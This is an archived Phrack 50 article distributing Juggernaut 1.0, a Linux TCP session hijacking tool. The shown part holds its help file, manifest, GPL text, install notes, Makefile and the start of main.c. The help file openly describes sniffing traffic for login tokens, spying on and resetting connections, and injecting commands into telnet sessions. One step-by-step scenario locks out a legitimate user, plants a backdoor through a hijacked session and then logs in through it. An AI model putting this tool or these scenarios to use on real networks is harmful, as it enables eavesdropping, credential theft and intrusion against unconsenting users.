home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p50_06.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  121.7 KB  |  4,015 lines

  1.                                 .oO Phrack 50 Oo.
  2.  
  3.                             Volume Seven, Issue Fifty
  4.  
  5.                                      6 of 16
  6.  
  7.                                J U G G E R N A U T 
  8.  
  9.                                   route|daemon9
  10.  
  11.                       a guild corporation production 1996/7
  12.  
  13.  
  14.     Please use the included extract.c utility to extract the files and then
  15.     read the Install file.  Any problems/comments mail me route@infonexus.com.
  16.  
  17.     A boot image is forthcoming that will allow a user to simply pop a disk
  18.     into most any networked PC and turn it into a Juggernaut workstation.
  19.  
  20. <++> Juggernaut/ClothLikeGauze/.help
  21.  
  22.                             Juggernaut 1.0 Help File
  23.  
  24. |--------
  25. |Overview
  26. |--------
  27.  
  28. Juggernaut is a robust network tool for the Linux OS.  It contains several
  29. modules offering a wide degree of functionality.  Juggernaut has been tested 
  30. successfully on several different Linux machines on several different networks. 
  31. However, your mileage may vary depending on the network topologies of the
  32. environment (ie: Smart hubbing will kill much of the packet sniffing 
  33. functionality...) and, to a lesser extent, the machine running Juggernaut.
  34. If something doesn't work, use a network debugger and figure out why...  
  35.  
  36. Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on
  37. April 9, 1997.
  38.  
  39.            Any serious problems/bugs or comments, please mail me: 
  40.         
  41.                            route@infonexus.com
  42.  
  43.  
  44. |---------------------
  45. |Command Line Options
  46. |---------------------
  47.  
  48.     juggernaut -h       
  49.  
  50.                         Quick help.
  51.  
  52.     juggernaut -H       
  53.  
  54.                         Dumps this help file.
  55.  
  56.     juggernaut -v 
  57.  
  58.                         By default, Juggernaut conveys error messages and other
  59.                         diagnostic information to the user.  Specifying this 
  60.                         option will cause Juggernaut to shut the hell up.
  61.  
  62.                         Not recommended unless you know what you are doing.
  63.  
  64.     juggernaut -t xx            [ juggernaut -t 5 ]   
  65.         
  66.                         This option specifies the network read timeout (which 
  67.                         defaults to 10 seconds).  This value reflects how long
  68.                         Juggernaut will wait for network traffic before giving
  69.                         up.  In this case, it will wait 5 seconds.
  70.  
  71.     juggernaut -s TOKEN         [ juggernaut -s login ]
  72.  
  73.                         Dedicated sniffing mode.  Juggernaut will drop to the
  74.                         background and examine all TCP packets looking for
  75.                         TOKEN.  When TOKEN is located, it then isolates that 
  76.                         TCP circuit and captures the next 16 (the default
  77.                         enticement factor) packets and logs them to a file. It
  78.                         then resets and continues sifting through TCP traffic 
  79.                         looking for TOKEN.
  80.  
  81.     juggernaut -s TOKEN -e xx   [ juggernaut -s daemon9 -e 1000 ]
  82.  
  83.                         By specifying a larger enticement factor, you can
  84.                         capture more packets from a session.  This time, after
  85.                         locating TOKEN, Juggernaut will capture 1000 packets 
  86.                         before reseting.
  87.  
  88.     juggernaut
  89.                         This starts the program in standard mode.
  90.      
  91. |-------------
  92. |Menu Options
  93. |-------------
  94.  
  95. This is normal mode of operation for Juggernaut.  This is where the magic 
  96. happens, this is where the fun is. The program will examine all network
  97. traffic and add suitable TCP connections to the connection database (which
  98. is viewed with option 1).  After at least one connection is in the database, 
  99. you can start mucking around with it (connection construction and destruction 
  100. are indicated by the appearance of the "+" or the "-" at the console). Note 
  101. that connections involving a local interface may not show up (unless the
  102. localhost is dual-homed).
  103.  
  104. One possible shortcoming of the program is the fact that it stores very
  105. little state information about connections in the database.  Juggernaut
  106. collects whatever information it needs (and doesn't have) on the fly.  As 
  107. such, a quiet connection (no traffic) will elude hijacking and reseting.  The 
  108. benefit of this is the fact that the program does not have to tie itself up 
  109. updating the shared memory segment with state every time a packet flies by.
  110.  
  111.  
  112.     ?) Help
  113.                         This file.
  114.  
  115.     0) Program information
  116.  
  117.                         Dumps some stuff...
  118.  
  119.     1) Connection database
  120.     
  121.                         Dumps the current connection list and percent to 
  122.                         capacity.  Gives the option to wipe the database.
  123.  
  124.     2) Spy on a connection
  125.  
  126.                         Allows a user to spy on any connection in the database,
  127.                         with the option of logging the entire session to a
  128.                         file.
  129.  
  130.     3) Reset a connection
  131.  
  132.                         Allows the user to destroy any existing connection in 
  133.                         the database.
  134.  
  135.     4) Automated connection reset daemon
  136.  
  137.                         Allows the user to setup an automated TCP RST daemon 
  138.                         that will listen for connection request attempts
  139.                         from a specified source host (and optionally a 
  140.                         destination host) and then reset them before they
  141.                         have a chance to complete.  Requires a source IP
  142.                         address and optionally a destination address.  
  143.                         This module prints a "*" to the console when a
  144.                         connection request attempt is attempted and denied...
  145.                         
  146.     5) Simplex connection hijack
  147.  
  148.                         Allows the user to insert a command into a telnet
  149.                         based TCP stream.  A short ACK storm ensues until the 
  150.                         connection is subsequently reset.
  151.  
  152.     6) Interactive connection hijack
  153.  
  154.                         Allows the user to take over a session from a 
  155.                         legitimate client.  This desynchs the client from the 
  156.                         server as the user takes over.  The resulting ACK 
  157.                         storm can be catastrophic and makes this interactive 
  158.                         session prone to failure.  If both of the target hosts 
  159.                         are on an ethernet, expect a momunmental ACK storm.
  160.  
  161.     7) Packet assembly module
  162.  
  163.                         The Prometheus module.  Construction of TCP, UDP, ICMP, 
  164.                         and IP packets.  The user has complete control over 
  165.                         most of the header fields and can opt for generating a
  166.                         pseudo-random value.  This module is far from done and
  167.                         needs some serious work.
  168.     
  169.     8) Souper sekret option number eight
  170.  
  171.                         Sshh.
  172.  
  173.     9) Step down
  174.                         Quitter.
  175.  
  176.  
  177. |-------------
  178. |Suggested Use
  179. |-------------
  180.  
  181.     scenario 1: The passive observer
  182.                 menu options 1,2
  183.  
  184.                         The user is curious.  She simply waits for
  185.                         connections to arrive and then passively observes
  186.                         them.  Several invocations of Juggernaut may be
  187.                         started, each spying on a different connection.
  188.                         The user does not modify the flow of data or control.
  189.  
  190.     scenario 2: The malicious observer
  191.                 menu options 1,2,3
  192.  
  193.                         Same scenario as above, except the user alters the
  194.                         flow of control and opts to destroy connections
  195.                         at some point.
  196.  
  197.     scenario 3: The active observer
  198.                 menu options 1,2,3,5,(6)
  199.  
  200.                         Same as the previous situations, however the user
  201.                         inserts data into the stream before destroying it.
  202.     scenario 4: The imp
  203.                 menu options 1,2,3,4
  204.  
  205.                         The user is an impish devil and simply wants to
  206.                         cause trouble by setting up multiple ACRST daemons.
  207.  
  208.     scenario 5: The active observer with poisonous reverse
  209.                 menu options 1,2,4,5
  210.  
  211.                         The user waits until a client establishes a connection
  212.                         with a targeted server and then sets up the ACRST 
  213.                         daemon to destroy all further connection-request
  214.                         attempts from the client.  The user then spys on the 
  215.                         connection, waiting for an opportune time to inject 
  216.                         a hijack packet into the stream containing a 
  217.                         backdooring command/pipeline.  The client will then
  218.                         have her connection RST (after a brief ACK storm).
  219.                         If the client attempts to re-establish the connection
  220.                         with the server, she will be denied and likely think
  221.                         it is a transient network error.  The user can then
  222.                         login into the server using the backdoor without fear
  223.                         of the client logging back in.
  224.  
  225.  
  226.       
  227. Juggernaut is a Guild Corporation production, (c) 1996/7.
  228.  
  229.     [corporate persuasion through Internet terrorism]
  230.                                                            
  231. EOF
  232. <-->
  233. <++> Juggernaut/ClothLikeGauze/MANIFEST
  234.  
  235.        File Manifest for Juggernaut 1.0
  236.      ----------------------------
  237.       1996/7 daemon9[guild|phrack|r00t]
  238.      ----------------------------
  239. ClothLikeGauze/     Docs
  240.     .help           Helpfile
  241.     copyright        The legal tie that binds.
  242.     Install         Installation instructions
  243.     MANIFEST        This file
  244. Makefile        makefile
  245. NumberOneCrush/        Sources                
  246.     main.c        main logic
  247.     mem.c        shared memory/semaphore functions
  248.     menu.c        menu functions
  249.     prometheus.c    packet assembly workshop module
  250.     net.c        socket/network functions
  251.     surplus.c       dumping ground
  252.  
  253.  
  254.     Version history
  255.     ---------------
  256.  
  257. version a1:
  258. -----------
  259. 11.30.96:   Decided to start.  Juggernaut framework and queue stuff.  Used 
  260.             linked list queue originally to store connections.
  261. 12.01.96:   Sniffing/spying/logging/RST stuff.
  262. 12.02-04:   Not sure what I did here.  I think I had a large turkey samich.
  263. 12.05.96:   Redid memory abstract data type.  Multithreaded.  Implemented 
  264.             shared memory segment and semaphore for access control.
  265.             Dumped ALL the dynamic memory allocation code.
  266. 12.06.96:   Added packet assembly workshop hooks.  Added curses.  Removed 
  267.             curses.
  268. 12.07.96:   No coding today.
  269. 12.08.96:   Non-interactive hijacking completed.  I think we're ready for 
  270.             beta now.
  271.  
  272. version b1:
  273. -----------
  274. 12.09.96:   IP_HDRINCL crap added.
  275. 12.15-18:   I was in NYC for the r00tparty.  No coding then.
  276. 12.19.96:   Added automated RST stuff.
  277. 12.20-27:   No coding.
  278. 12.28.96:   Started work on interactive hijacking.  Damned ACK storms.
  279. 12.30.96:   Started packet assembly module for reals.
  280.  
  281. version b2:
  282. -----------
  283. 01.25.97:   Added network timeout logic.
  284. 01.26.97-
  285. 04.01.97:   How can you possibly expect me to account for all that time?  
  286.             I went to Germany with alhambra for a networking summit and 
  287.             all over the US for other work, I was even in a Discovery 
  288.             special on IW...
  289.  
  290. version 1.0:
  291. ------------
  292. 04.02.97:   Here it is.                
  293. <-->
  294. <++> Juggernaut/ClothLikeGauze/ToDo
  295.  
  296. Juggernaut ToDo list
  297. --------------------
  298.  + re-structure multitasking model to give the option of
  299.    using multi-processing OR multi-threading
  300.  + Create boot image
  301.  + Support for ongoing connections
  302.  + Support for healthy choice hotdog sequencer
  303.  + Add arp cache seeding routine; as connections are added, MAC
  304.    addresses will be added to the arp cache
  305.  + Add support for different verbosity levels
  306.  + Add support for IP and TCP options in packet assembly module
  307.  + Better packet assembly support as a whole
  308.  + Better code module plug-in support
  309.  + much more robust packet sniffing module with support for
  310.    multiple protocols
  311.  + um, interactive hijacking that doesn't kill the client
  312. <-->
  313. <++> Juggernaut/ClothLikeGauze/copyright
  314.  
  315.             Juggernaut 
  316.  
  317. Copyright (c) 1996/7 by daemon9/route [Guild] (route@infonexus.com)
  318.   
  319. Juggernaut source code, documentation, auxilliary programs, and 
  320. executables are Copyright 1996/7 daemon9[guild].  All rights reserved.
  321.  
  322. ----------------------------------------------------------------------
  323.  
  324.             GNU GENERAL PUBLIC LICENSE
  325.                Version 2, June 1991
  326.  
  327.  Copyright (C) 1989, 1991 Free Software Foundation, Inc.
  328.                           675 Mass Ave, Cambridge, MA 02139, USA
  329.  Everyone is permitted to copy and distribute verbatim copies
  330.  of this license document, but changing it is not allowed.
  331.  
  332.                 Preamble
  333.  
  334.   The licenses for most software are designed to take away your
  335. freedom to share and change it.  By contrast, the GNU General Public
  336. License is intended to guarantee your freedom to share and change free
  337. software--to make sure the software is free for all its users.  This
  338. General Public License applies to most of the Free Software
  339. Foundation's software and to any other program whose authors commit to
  340. using it.  (Some other Free Software Foundation software is covered by
  341. the GNU Library General Public License instead.)  You can apply it to
  342. your programs, too.
  343.  
  344.   When we speak of free software, we are referring to freedom, not
  345. price.  Our General Public Licenses are designed to make sure that you
  346. have the freedom to distribute copies of free software (and charge for
  347. this service if you wish), that you receive source code or can get it
  348. if you want it, that you can change the software or use pieces of it
  349. in new free programs; and that you know you can do these things.
  350.  
  351.   To protect your rights, we need to make restrictions that forbid
  352. anyone to deny you these rights or to ask you to surrender the rights.
  353. These restrictions translate to certain responsibilities for you if you
  354. distribute copies of the software, or if you modify it.
  355.  
  356.   For example, if you distribute copies of such a program, whether
  357. gratis or for a fee, you must give the recipients all the rights that
  358. you have.  You must make sure that they, too, receive or can get the
  359. source code.  And you must show them these terms so they know their
  360. rights.
  361.  
  362.   We protect your rights with two steps: (1) copyright the software, and
  363. (2) offer you this license which gives you legal permission to copy,
  364. distribute and/or modify the software.
  365.  
  366.   Also, for each author's protection and ours, we want to make certain
  367. that everyone understands that there is no warranty for this free
  368. software.  If the software is modified by someone else and passed on, we
  369. want its recipients to know that what they have is not the original, so
  370. that any problems introduced by others will not reflect on the original
  371. authors' reputations.
  372.  
  373.   Finally, any free program is threatened constantly by software
  374. patents.  We wish to avoid the danger that redistributors of a free
  375. program will individually obtain patent licenses, in effect making the
  376. program proprietary.  To prevent this, we have made it clear that any
  377. patent must be licensed for everyone's free use or not licensed at all.
  378.  
  379.   The precise terms and conditions for copying, distribution and
  380. modification follow.
  381.  
  382.             GNU GENERAL PUBLIC LICENSE
  383.    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
  384.  
  385.   0. This License applies to any program or other work which contains
  386. a notice placed by the copyright holder saying it may be distributed
  387. under the terms of this General Public License.  The "Program", below,
  388. refers to any such program or work, and a "work based on the Program"
  389. means either the Program or any derivative work under copyright law:
  390. that is to say, a work containing the Program or a portion of it,
  391. either verbatim or with modifications and/or translated into another
  392. language.  (Hereinafter, translation is included without limitation in
  393. the term "modification".)  Each licensee is addressed as "you".
  394.  
  395. Activities other than copying, distribution and modification are not
  396. covered by this License; they are outside its scope.  The act of
  397. running the Program is not restricted, and the output from the Program
  398. is covered only if its contents constitute a work based on the
  399. Program (independent of having been made by running the Program).
  400. Whether that is true depends on what the Program does.
  401.  
  402.   1. You may copy and distribute verbatim copies of the Program's
  403. source code as you receive it, in any medium, provided that you
  404. conspicuously and appropriately publish on each copy an appropriate
  405. copyright notice and disclaimer of warranty; keep intact all the
  406. notices that refer to this License and to the absence of any warranty;
  407. and give any other recipients of the Program a copy of this License
  408. along with the Program.
  409.  
  410. You may charge a fee for the physical act of transferring a copy, and
  411. you may at your option offer warranty protection in exchange for a fee.
  412.  
  413.   2. You may modify your copy or copies of the Program or any portion
  414. of it, thus forming a work based on the Program, and copy and
  415. distribute such modifications or work under the terms of Section 1
  416. above, provided that you also meet all of these conditions:
  417.  
  418.     a) You must cause the modified files to carry prominent notices
  419.     stating that you changed the files and the date of any change.
  420.  
  421.     b) You must cause any work that you distribute or publish, that in
  422.     whole or in part contains or is derived from the Program or any
  423.     part thereof, to be licensed as a whole at no charge to all third
  424.     parties under the terms of this License.
  425.  
  426.     c) If the modified program normally reads commands interactively
  427.     when run, you must cause it, when started running for such
  428.     interactive use in the most ordinary way, to print or display an
  429.     announcement including an appropriate copyright notice and a
  430.     notice that there is no warranty (or else, saying that you provide
  431.     a warranty) and that users may redistribute the program under
  432.     these conditions, and telling the user how to view a copy of this
  433.     License.  (Exception: if the Program itself is interactive but
  434.     does not normally print such an announcement, your work based on
  435.     the Program is not required to print an announcement.)
  436.  
  437. These requirements apply to the modified work as a whole.  If
  438. identifiable sections of that work are not derived from the Program,
  439. and can be reasonably considered independent and separate works in
  440. themselves, then this License, and its terms, do not apply to those
  441. sections when you distribute them as separate works.  But when you
  442. distribute the same sections as part of a whole which is a work based
  443. on the Program, the distribution of the whole must be on the terms of
  444. this License, whose permissions for other licensees extend to the
  445. entire whole, and thus to each and every part regardless of who wrote it.
  446.  
  447. Thus, it is not the intent of this section to claim rights or contest
  448. your rights to work written entirely by you; rather, the intent is to
  449. exercise the right to control the distribution of derivative or
  450. collective works based on the Program.
  451.  
  452. In addition, mere aggregation of another work not based on the Program
  453. with the Program (or with a work based on the Program) on a volume of
  454. a storage or distribution medium does not bring the other work under
  455. the scope of this License.
  456.  
  457.   3. You may copy and distribute the Program (or a work based on it,
  458. under Section 2) in object code or executable form under the terms of
  459. Sections 1 and 2 above provided that you also do one of the following:
  460.  
  461.     a) Accompany it with the complete corresponding machine-readable
  462.     source code, which must be distributed under the terms of Sections
  463.     1 and 2 above on a medium customarily used for software interchange; or,
  464.  
  465.     b) Accompany it with a written offer, valid for at least three
  466.     years, to give any third party, for a charge no more than your
  467.     cost of physically performing source distribution, a complete
  468.     machine-readable copy of the corresponding source code, to be
  469.     distributed under the terms of Sections 1 and 2 above on a medium
  470.     customarily used for software interchange; or,
  471.  
  472.     c) Accompany it with the information you received as to the offer
  473.     to distribute corresponding source code.  (This alternative is
  474.     allowed only for noncommercial distribution and only if you
  475.     received the program in object code or executable form with such
  476.     an offer, in accord with Subsection b above.)
  477.  
  478. The source code for a work means the preferred form of the work for
  479. making modifications to it.  For an executable work, complete source
  480. code means all the source code for all modules it contains, plus any
  481. associated interface definition files, plus the scripts used to
  482. control compilation and installation of the executable.  However, as a
  483. special exception, the source code distributed need not include
  484. anything that is normally distributed (in either source or binary
  485. form) with the major components (compiler, kernel, and so on) of the
  486. operating system on which the executable runs, unless that component
  487. itself accompanies the executable.
  488.  
  489. If distribution of executable or object code is made by offering
  490. access to copy from a designated place, then offering equivalent
  491. access to copy the source code from the same place counts as
  492. distribution of the source code, even though third parties are not
  493. compelled to copy the source along with the object code.
  494.  
  495.   4. You may not copy, modify, sublicense, or distribute the Program
  496. except as expressly provided under this License.  Any attempt
  497. otherwise to copy, modify, sublicense or distribute the Program is
  498. void, and will automatically terminate your rights under this License.
  499. However, parties who have received copies, or rights, from you under
  500. this License will not have their licenses terminated so long as such
  501. parties remain in full compliance.
  502.  
  503.   5. You are not required to accept this License, since you have not
  504. signed it.  However, nothing else grants you permission to modify or
  505. distribute the Program or its derivative works.  These actions are
  506. prohibited by law if you do not accept this License.  Therefore, by
  507. modifying or distributing the Program (or any work based on the
  508. Program), you indicate your acceptance of this License to do so, and
  509. all its terms and conditions for copying, distributing or modifying
  510. the Program or works based on it.
  511.  
  512.   6. Each time you redistribute the Program (or any work based on the
  513. Program), the recipient automatically receives a license from the
  514. original licensor to copy, distribute or modify the Program subject to
  515. these terms and conditions.  You may not impose any further
  516. restrictions on the recipients' exercise of the rights granted herein.
  517. You are not responsible for enforcing compliance by third parties to
  518. this License.
  519.  
  520.   7. If, as a consequence of a court judgment or allegation of patent
  521. infringement or for any other reason (not limited to patent issues),
  522. conditions are imposed on you (whether by court order, agreement or
  523. otherwise) that contradict the conditions of this License, they do not
  524. excuse you from the conditions of this License.  If you cannot
  525. distribute so as to satisfy simultaneously your obligations under this
  526. License and any other pertinent obligations, then as a consequence you
  527. may not distribute the Program at all.  For example, if a patent
  528. license would not permit royalty-free redistribution of the Program by
  529. all those who receive copies directly or indirectly through you, then
  530. the only way you could satisfy both it and this License would be to
  531. refrain entirely from distribution of the Program.
  532.  
  533. If any portion of this section is held invalid or unenforceable under
  534. any particular circumstance, the balance of the section is intended to
  535. apply and the section as a whole is intended to apply in other
  536. circumstances.
  537.  
  538. It is not the purpose of this section to induce you to infringe any
  539. patents or other property right claims or to contest validity of any
  540. such claims; this section has the sole purpose of protecting the
  541. integrity of the free software distribution system, which is
  542. implemented by public license practices.  Many people have made
  543. generous contributions to the wide range of software distributed
  544. through that system in reliance on consistent application of that
  545. system; it is up to the author/donor to decide if he or she is willing
  546. to distribute software through any other system and a licensee cannot
  547. impose that choice.
  548.  
  549. This section is intended to make thoroughly clear what is believed to
  550. be a consequence of the rest of this License.
  551.  
  552.   8. If the distribution and/or use of the Program is restricted in
  553. certain countries either by patents or by copyrighted interfaces, the
  554. original copyright holder who places the Program under this License
  555. may add an explicit geographical distribution limitation excluding
  556. those countries, so that distribution is permitted only in or among
  557. countries not thus excluded.  In such case, this License incorporates
  558. the limitation as if written in the body of this License.
  559.  
  560.   9. The Free Software Foundation may publish revised and/or new versions
  561. of the General Public License from time to time.  Such new versions will
  562. be similar in spirit to the present version, but may differ in detail to
  563. address new problems or concerns.
  564.  
  565. Each version is given a distinguishing version number.  If the Program
  566. specifies a version number of this License which applies to it and "any
  567. later version", you have the option of following the terms and conditions
  568. either of that version or of any later version published by the Free
  569. Software Foundation.  If the Program does not specify a version number of
  570. this License, you may choose any version ever published by the Free Software
  571. Foundation.
  572.  
  573.   10. If you wish to incorporate parts of the Program into other free
  574. programs whose distribution conditions are different, write to the author
  575. to ask for permission.  For software which is copyrighted by the Free
  576. Software Foundation, write to the Free Software Foundation; we sometimes
  577. make exceptions for this.  Our decision will be guided by the two goals
  578. of preserving the free status of all derivatives of our free software and
  579. of promoting the sharing and reuse of software generally.
  580.  
  581.                 NO WARRANTY
  582.  
  583.   11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
  584. FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
  585. OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
  586. PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
  587. OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
  588. MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
  589. TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
  590. PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
  591. REPAIR OR CORRECTION.
  592.  
  593.   12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
  594. WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
  595. REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
  596. INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
  597. OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
  598. TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
  599. YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
  600. PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
  601. POSSIBILITY OF SUCH DAMAGES.
  602.  
  603.              END OF TERMS AND CONDITIONS
  604.  
  605.     Appendix: How to Apply These Terms to Your New Programs
  606.  
  607.   If you develop a new program, and you want it to be of the greatest
  608. possible use to the public, the best way to achieve this is to make it
  609. free software which everyone can redistribute and change under these terms.
  610.  
  611.   To do so, attach the following notices to the program.  It is safest
  612. to attach them to the start of each source file to most effectively
  613. convey the exclusion of warranty; and each file should have at least
  614. the "copyright" line and a pointer to where the full notice is found.
  615.  
  616.     <one line to give the program's name and a brief idea of what it does.>
  617.     Copyright (C) 19yy  <name of author>
  618.  
  619.     This program is free software; you can redistribute it and/or modify
  620.     it under the terms of the GNU General Public License as published by
  621.     the Free Software Foundation; either version 2 of the License, or
  622.     (at your option) any later version.
  623.  
  624.     This program is distributed in the hope that it will be useful,
  625.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  626.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  627.     GNU General Public License for more details.
  628.  
  629.     You should have received a copy of the GNU General Public License
  630.     along with this program; if not, write to the Free Software
  631.     Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  632.  
  633. Also add information on how to contact you by electronic and paper mail.
  634.  
  635. If the program is interactive, make it output a short notice like this
  636. when it starts in an interactive mode:
  637.  
  638.     Gnomovision version 69, Copyright (C) 19yy name of author
  639.     Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
  640.     This is free software, and you are welcome to redistribute it
  641.     under certain conditions; type `show c' for details.
  642.  
  643. The hypothetical commands `show w' and `show c' should show the appropriate
  644. parts of the General Public License.  Of course, the commands you use may
  645. be called something other than `show w' and `show c'; they could even be
  646. mouse-clicks or menu items--whatever suits your program.
  647.  
  648. You should also get your employer (if you work as a programmer) or your
  649. school, if any, to sign a "copyright disclaimer" for the program, if
  650. necessary.  Here is a sample; alter the names:
  651.  
  652.   Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  653.   `Gnomovision' (which makes passes at compilers) written by James Hacker.
  654.  
  655.   <signature of Ty Coon>, 1 April 1989
  656.   Ty Coon, President of Vice
  657.  
  658. This General Public License does not permit incorporating your program into
  659. proprietary programs.  If your program is a subroutine library, you may
  660. consider it more useful to permit linking proprietary applications with the
  661. library.  If this is what you want to do, use the GNU Library General
  662. Public License instead of this License.
  663. <-->
  664. <++> Juggernaut/Install
  665. Juggernaut 1.0 Installation Instructions
  666. ----------------------------------------
  667. 1.  Are you a fucking moron?  If so, goto step 6; you are done.
  668.  
  669. 2.  Edit the Makefile.  You may wish to change a few of the
  670.     defines:
  671.  
  672.     USENAME:    Define this to have Juggernaut attempt to 
  673.                 resolve IP addresses into FQDNs...  It's
  674.                 slower but more verbose this way.
  675.     MULTI_P:    Define this to use multi-process model of 
  676.                 multi-tasking.
  677.     THREAD:     Define this to use multi-threaded model of
  678.                 multi-tasking.  Be sure to also link in
  679.                 the pthreads library.  Not implemented yet.
  680.     IP_HDRINCL: Define this if you want/need to use the
  681.                 IP_HDRINCL socket option to build IP
  682.                 headers.
  683.     NOHUSH:     If defined, Juggernaut will notify the user
  684.                 audibly when a connection is added.
  685.     GREED:      If defined, Juggernaut will attempt to add
  686.                 any and ALL TCP based connections to the 
  687.                 database.  This is not recommended unless
  688.                 you know what you are doing...
  689.     FASTCHECK:  Define this to use a fast x86 assembler 
  690.                 implementation of the IP checksum routine.
  691.                 May not work on all systems.  That's why
  692.                 you have the option.
  693. 3. make all
  694.  
  695. 4. yay.
  696.  
  697. 5. ./juggernaut -h
  698. <-->
  699. <++> Juggernaut/Makefile
  700. # Juggernaut Makefile
  701. # 1996/7 daemon9[guild|phrack|r00t]
  702.  
  703. CC      =   gcc
  704. #LIBS    =   -L/usr/lib -lpthread
  705. CFLAGS  =   -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 #-Wall
  706. DEFINES =   -DMULTI_P -DNOHUSH -DUSENAME -DFASTCHECK
  707. DEFINES +=  #-DGREED #-DIP_HDRINCL #-DTHREAD 
  708. OBJECTS =   NumberOneCrush/main.o NumberOneCrush/menu.o\
  709.             NumberOneCrush/mem.o NumberOneCrush/prometheus.o\
  710.             NumberOneCrush/net.o NumberOneCrush/surplus.o
  711.  
  712. .c.o:
  713.     $(CC) $(CFLAGS) $(DEFINES) -c $< -o $@
  714.  
  715. all: JUGGERNAUT
  716.  
  717. JUGGERNAUT: $(OBJECTS)
  718.     $(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) -o juggernaut
  719.     strip juggernaut
  720.  
  721. clean:
  722.     rm -f core juggernaut juggernaut.log.snif juggernaut.log.spy
  723.     rm -rf NumberOneCrush/*.o
  724. <-->
  725. <++> Juggernaut/NumberOneCrush/main.c
  726. /*
  727.  *
  728.  *                        Juggernaut
  729.  *                    Version b2
  730.  *
  731.  *                            1996/7 Guild productions
  732.  *                 daemon9[guild|phrack|r00t]
  733.  *
  734.  *                         comments to route@infonexus.com
  735.  *
  736.  *  This coding project made possible by a grant from the Guild corporation
  737.  * 
  738.  *  main.c - main control logic and program driver.  Consists mainly of wrappers 
  739.  *  to setup the main subfunctions.
  740.  *
  741.  *
  742.  */
  743.  
  744. #include <string.h>
  745. #include <signal.h>
  746. #include <stdlib.h>
  747. #include <stdio.h>
  748. #include <unistd.h>
  749. #include <fcntl.h>
  750. #include <ctype.h>
  751. #include <syslog.h>
  752. #include <sys/types.h>
  753. #include <sys/socket.h>
  754. #include <sys/wait.h>
  755. #include <sys/ioctl.h>
  756. #include <sys/stat.h>
  757. #include <sys/time.h>
  758. #include <sys/resource.h>
  759. #include <netinet/in.h>
  760.  
  761. #ifdef THREAD
  762. #include <pthread.h>
  763. #endif
  764.  
  765. #define MINIBUF 10
  766. #define BUFSIZE 512
  767. #define DEVICE "eth0"
  768. #define LOGFILE "./juggernaut.log.spy"
  769.  
  770. char version[]="1.0\0";
  771. int sigsentry=1;            /* Signal sentry */
  772. int ripsock=0;                /* RIP socket */
  773. int linksock=0;                /* SOCK PACKET socket */
  774. int hpid=0;                /* hunter child PID */
  775. int acrstpid=0;                /* automated connection reset PID */
  776. int netreadtimeout=10;            /* Network read timeout in seconds */
  777. int verbosity=1;            /* Level of verbosity */
  778. int enticementfactor=16;            /* Enticing packets!@ */
  779. time_t uptime=0;                    /* How long have we been running */
  780.  
  781. struct connectionInfo{            /* Simple tuple information */
  782.     unsigned long saddr;            /* Source IP */
  783.     unsigned long daddr;            /* Destination IP */
  784.     unsigned short sport;           /* Source TCP Port */  
  785.     unsigned short dport;           /* Destination TCP Port */
  786. };
  787.  
  788.  
  789. /*
  790.  *  Main control logic.  All the main logic is implemented in the switch 
  791.  *  statement.
  792.  */
  793.  
  794. int main(argc,argv)
  795. int argc;
  796. char *argv[];
  797. {
  798.  
  799.     void usage(char *);
  800.     void hunt();        
  801.     void spy();
  802.     void rst();
  803.     void arst();
  804.     void pkta();
  805.     void simplexhijack();
  806.     void hijack();
  807.     void powerup();
  808.     void minit();
  809.     void mwipe();
  810.     void mmain();
  811.     void twitch();
  812.     void cleanexit();
  813.     void bloodhound(char *,int);
  814.     void bookworm();
  815.     void dbmanip();
  816.     void jinfo();
  817.     int rawsock();
  818.     int tap();
  819.     float dump();            
  820.         
  821.     char buf[MINIBUF]={0};
  822.     char token[2*MINIBUF]={0};
  823.     int c;
  824.                                 
  825.     if(geteuid()||getuid()){                /* r00t? */
  826.         fprintf(stderr,"UID or EUID of 0 needed...\n");
  827.         exit(0);
  828.         }
  829.                                           /* Parse command-line arguments */
  830.     while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){
  831.         switch(c){
  832.             case 's':                       /* dedicated sniffing mode */
  833.                 strncpy(token,optarg,(sizeof(token)-1));
  834.                 break;
  835.          case 'e':                       /* Enticement factor (only valid 
  836.                                                with -s option) */
  837.             enticementfactor=atoi(optarg);
  838.         break;
  839.         case 't':                       /* Network alarm timeout */
  840.             netreadtimeout=atoi(optarg);
  841.         break;
  842.         case 'v':                        /* decrease verbosity */    
  843.             verbosity=0;
  844.             break;
  845.         case 'V':                        /* version info */    
  846.                 jinfo();
  847.                 exit(0);
